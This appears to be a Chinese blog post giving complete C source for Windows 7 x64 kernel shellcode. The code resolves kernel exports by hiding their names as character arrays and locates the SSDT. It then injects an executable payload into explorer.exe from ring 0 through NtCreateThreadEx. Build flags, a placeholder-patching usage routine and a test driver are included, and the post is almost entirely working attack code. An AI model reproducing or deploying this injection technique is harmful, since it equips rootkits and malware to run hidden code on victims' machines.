内核通用Shellcode
已在Win7x64实验通过,其他系统需要自行修改偏移。
大体思路是一致的。
实现了从环0注入shllcode到环3进程的操作。
如果需要把这段shellcode拷贝字节码出来运行的话:
需要关闭以下编译选项:
- C/C++ -> 代码生成: 禁用安全检查 (/GS-)
- 链接 -> 常规 -> 启用增量链接: 否
核心代码:
VOID Shellcode()
{
//寻找ntoskernel基址
PUCHAR pIdtBase = __readgsqword(0x38);
ULONG_PTR FuncBase = *(PULONG_PTR)(pIdtBase + 4);
FuncBase = FuncBase >> 12;
FuncBase = FuncBase << 12;
PUCHAR pNtBase = NULL;
while (TRUE)
{
FuncBase -= 0x1000;
WORD Head = *((WORD *)FuncBase);
if (Head == 0x5A4D)
{
pNtBase = (PUCHAR)FuncBase;
break;
}
}
//解析导出表
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pNtBase;
PIMAGE_NT_HEADERS64 pNtHdrs = (PIMAGE_NT_HEADERS)((PCHAR)pNtBase + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)
((PCHAR)pNtBase + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
LPDWORD pNameArray = (LPDWORD)((PCHAR)pNtBase + pExportDir->AddressOfNames);
LPDWORD pAddrArray = (LPDWORD)((PCHAR)pNtBase + pExportDir->AddressOfFunctions);
LPWORD pOrdArray = (LPWORD)((PCHAR)pNtBase + pExportDir->AddressOfNameOrdinals);
CHAR strPsGetCurrentProcess[] = { 'P', 's', 'G', 'e', 't', 'C', 'u', 'r','r','e','n','t','P','r','o','c','e','s','s',0x0 };
CHAR strPsGetProcessImageFileName[] = { 'P', 's', 'G', 'e', 't', 'P', 'r', 'o','c','e','s','s','I','m','a','g','e','F','i','l','e','N','a','m','e',0x0 };
CHAR strKeStackAttachProcess[] = { 'K', 'e', 'S', 't', 'a', 'c', 'k', 'A','t','t','a','c','h','P','r','o','c','e','s','s',0x0 };
CHAR strKeUnstackDetachProcess[] = { 'K', 'e', 'U', 'n', 's', 't', 'a', 'c', 'k', 'D','e','t','a','c','h','P','r','o','c','e','s','s',0x0 };
CHAR strZwAllocateVirtualMemory[] = { 'Z', 'w', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 0x0 };
pfPsGetCurrentProcess pfnPsGetCurrentProcess = NULL;
pfPsGetProcessImageFileName pfnPsGetProcessImageFileName = NULL;
pfKeStackAttachProcess pfnKeStackAttachProcess = NULL;
pfKeUnstackDetachProcess pfnKeUnstackDetachProcess = NULL;
pfZwAllocateVirtualMemory pfnZwAllocateVirtualMemory = NULL;
pfExAllocatePool pfnExAllocatePool = NULL;
for (ULONG i = 0; i < pExportDir->NumberOfNames; i++)
{
if (pfnPsGetCurrentProcess != NULL &&
pfnPsGetProcessImageFileName != NULL &&
pfnKeStackAttachProcess != NULL &&
pfnKeUnstackDetachProcess != NULL &&
pfnZwAllocateVirtualMemory != NULL)
{
break;
}
PCHAR pFuncName = (PCHAR)((PCHAR)pNtBase + pNameArray[i]);
BOOL bCampareSuccessed = TRUE;
for (DWORD j = 0; j < sizeof(strPsGetCurrentProcess); j++)
{
if (pFuncName[j] != strPsGetCurrentProcess[j])
{
bCampareSuccessed = FALSE;
break;
}
if (pFuncName[j] == 0x0)
{
break;
}
}
if (bCampareSuccessed)
{
pfnPsGetCurrentProcess = (pfPsGetCurrentProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
continue;
}
bCampareSuccessed = TRUE;
for (DWORD j = 0; j < sizeof(strPsGetProcessImageFileName); j++)
{
if (pFuncName[j] != strPsGetProcessImageFileName[j])
{
bCampareSuccessed = FALSE;
break;
}
if (pFuncName[j] == 0x0)
{
break;
}
}
if (bCampareSuccessed)
{
pfnPsGetProcessImageFileName = (pfPsGetProcessImageFileName)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
continue;
}
bCampareSuccessed = TRUE;
for (DWORD j = 0; j < sizeof(strKeStackAttachProcess); j++)
{
if (pFuncName[j] != strKeStackAttachProcess[j])
{
bCampareSuccessed = FALSE;
break;
}
if (pFuncName[j] == 0x0)
{
break;
}
}
if (bCampareSuccessed)
{
pfnKeStackAttachProcess = (pfKeStackAttachProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
continue;
}
bCampareSuccessed = TRUE;
for (DWORD j = 0; j < sizeof(strKeUnstackDetachProcess); j++)
{
if (pFuncName[j] != strKeUnstackDetachProcess[j])
{
bCampareSuccessed = FALSE;
break;
}
if (pFuncName[j] == 0x0)
{
break;
}
}
if (bCampareSuccessed)
{
pfnKeUnstackDetachProcess = (pfKeUnstackDetachProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
continue;
}
bCampareSuccessed = TRUE;
for (DWORD j = 0; j < sizeof(strZwAllocateVirtualMemory); j++)
{
if (pFuncName[j] != strZwAllocateVirtualMemory[j])
{
bCampareSuccessed = FALSE;
break;
}
if (pFuncName[j] == 0x0)
{
break;
}
}
if (bCampareSuccessed)
{
pfnZwAllocateVirtualMemory = (pfZwAllocateVirtualMemory)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
continue;
}
}
//寻找explorer进程
CHAR strExplorer_exe[] = { 'e', 'x', 'p', 'l', 'o', 'r', 'e', 'r','.','e','x','e',0x0 };
PEPROCESS Process = pfnPsGetCurrentProcess();
PEPROCESS ProcessExplorer = NULL;
PLIST_ENTRY ListNode = (PLIST_ENTRY)((PCHAR)Process + off_EPROCESS_ActiveLinks);
UINT Count = 0;
do
{
Process = (PEPROCESS)((PCHAR)ListNode - off_EPROCESS_ActiveLinks);
ListNode = ListNode->Blink;
LPCSTR ImageName =(LPCSTR)pfnPsGetProcessImageFileName(Process);
BOOL bCampareSuccessed = TRUE;
for (DWORD j = 0; j < sizeof(strExplorer_exe) + 1; j++)
{
if (ImageName[j] != strExplorer_exe[j])
{
bCampareSuccessed = FALSE;
break;
}
if (ImageName[j] == 0x0)
{
break;
}
}
if (bCampareSuccessed)
{
ProcessExplorer = Process;
break;
}
} while (Count++ < 0x100);
if (ProcessExplorer == NULL)
{
return;
}
// Find SSDT表基址
PKSERVICE_TABLE_DESCRIPTOR ServiceTable = NULL;
PUCHAR KiSystemCall64 = (PUCHAR)__readmsr(0xC0000082);
PUCHAR i = NULL;
ULONG_PTR Offset = 0x00;
for (i = KiSystemCall64; i < KiSystemCall64 + 0x500; i++)
{
if (*(i + 0) == 0x4c &&
*(i + 1) == 0x8d &&
*(i + 2) == 0x15)
{
PULONG32 pValue = (PULONG32)(i + 3);
Offset = *pValue;
ServiceTable = (PVOID)(Offset + (ULONG_PTR)i + 7);
break;
}
}
if (ServiceTable == NULL)
{
return;
}
pfNtCreateThreadEx pfnNtCreateThreadEx = (pfNtCreateThreadEx)((LONG_PTR)ServiceTable->Base + ((LONG_PTR)(ServiceTable->Base)[0xA5] >> 4));;
if (pfnNtCreateThreadEx == NULL)
{
return;
}
//开始注入
CHAR ApcState[100] = { 0 };
pfnKeStackAttachProcess(ProcessExplorer, &ApcState);
SIZE_T RegionSize = 0x1000;
PUCHAR BaseAddr = (PUCHAR)NULL;
NTSTATUS Status = pfnZwAllocateVirtualMemory(
-1,
&BaseAddr,
0x00,
&RegionSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (BaseAddr != NULL)
{
for (DWORD i = 0; i < RegionSize; i++)
{
//0x1122334455667788 替换成你自己的用户态Shellcode地址
//BaseAddr[i] = ((PUCHAR)(0x1122334455667788))[i];
}
HANDLE ThreadHandle = NULL;
pfnNtCreateThreadEx(&ThreadHandle, THREAD_ALL_ACCESS,
NULL,
-1,
(PVOID)BaseAddr,
(PVOID)NULL,
FALSE,
0x00, 0x00, 0x00,
NULL
);
}
pfnKeUnstackDetachProcess(&ApcState);
}
VOID ShellcodeEnd()
{
KdPrint(("ShellcodeEnd\n"));
}
头文件:
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef DWORD *LPDWORD;
typedef WORD *LPWORD;
typedef unsigned int UINT;
typedef __int64 INT_PTR, *PINT_PTR;
typedef int BOOL;
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
typedef struct _IMAGE_OPTIONAL_HEADER64 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve;
ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve;
ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
typedef struct _IMAGE_NT_HEADERS64 {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
PLONG32 Base;
PULONG32 Count;
ULONG_PTR Limit;
PUCHAR Number;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
typedef UINT(NTAPI *fnWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
typedef
PEPROCESS
(NTAPI *pfPsGetCurrentProcess)(
VOID
);
typedef
PUCHAR
(NTAPI *pfPsGetProcessImageFileName) (
IN PEPROCESS
);
typedef
VOID
(NTAPI *pfKeStackAttachProcess)(
_Inout_ PRKPROCESS PROCESS,
_Out_ PVOID ApcState
);
typedef
VOID
(NTAPI *pfKeUnstackDetachProcess)(
_In_ PVOID ApcState
);
typedef
NTSTATUS
(NTAPI *pfZwAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
typedef
VOID
(NTAPI *pfKenelShellcode)(
VOID
);
#define off_EPROCESS_ActiveLinks 0x188
使用方法:
类似于
PUCHAR pBuf = (PUCHAR)pfnKenelShellcode;
for (ULONG i = 0; i < sizeof(Shellcode) - sizeof(ULONG64); i++)
{
PULONG64 pValue = (PULONG64)(pBuf + i);
if (*pValue == 0x1122334455667788)
{
*pValue = (ULONG64)ShellcodeUserAddr;
break;
}
}
pfnKenelShellcodeCopy();
或者直接用驱动调试:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
KdPrint(("DriverEntry..\n"));
Shellcode();
return STATUS_SUCCESS;
}
效果:
这里并没有写入用户态shellcode,执行用户态地址的时候,会导致explorer奔溃,但已经代表注入操作已经成功了。
如果用户态shellcode正常则不会有这个问题。
用户态shellcode可以参考我的另一篇博客《环三通用Shellcode》
发表评论
要发表评论,您必须先登录。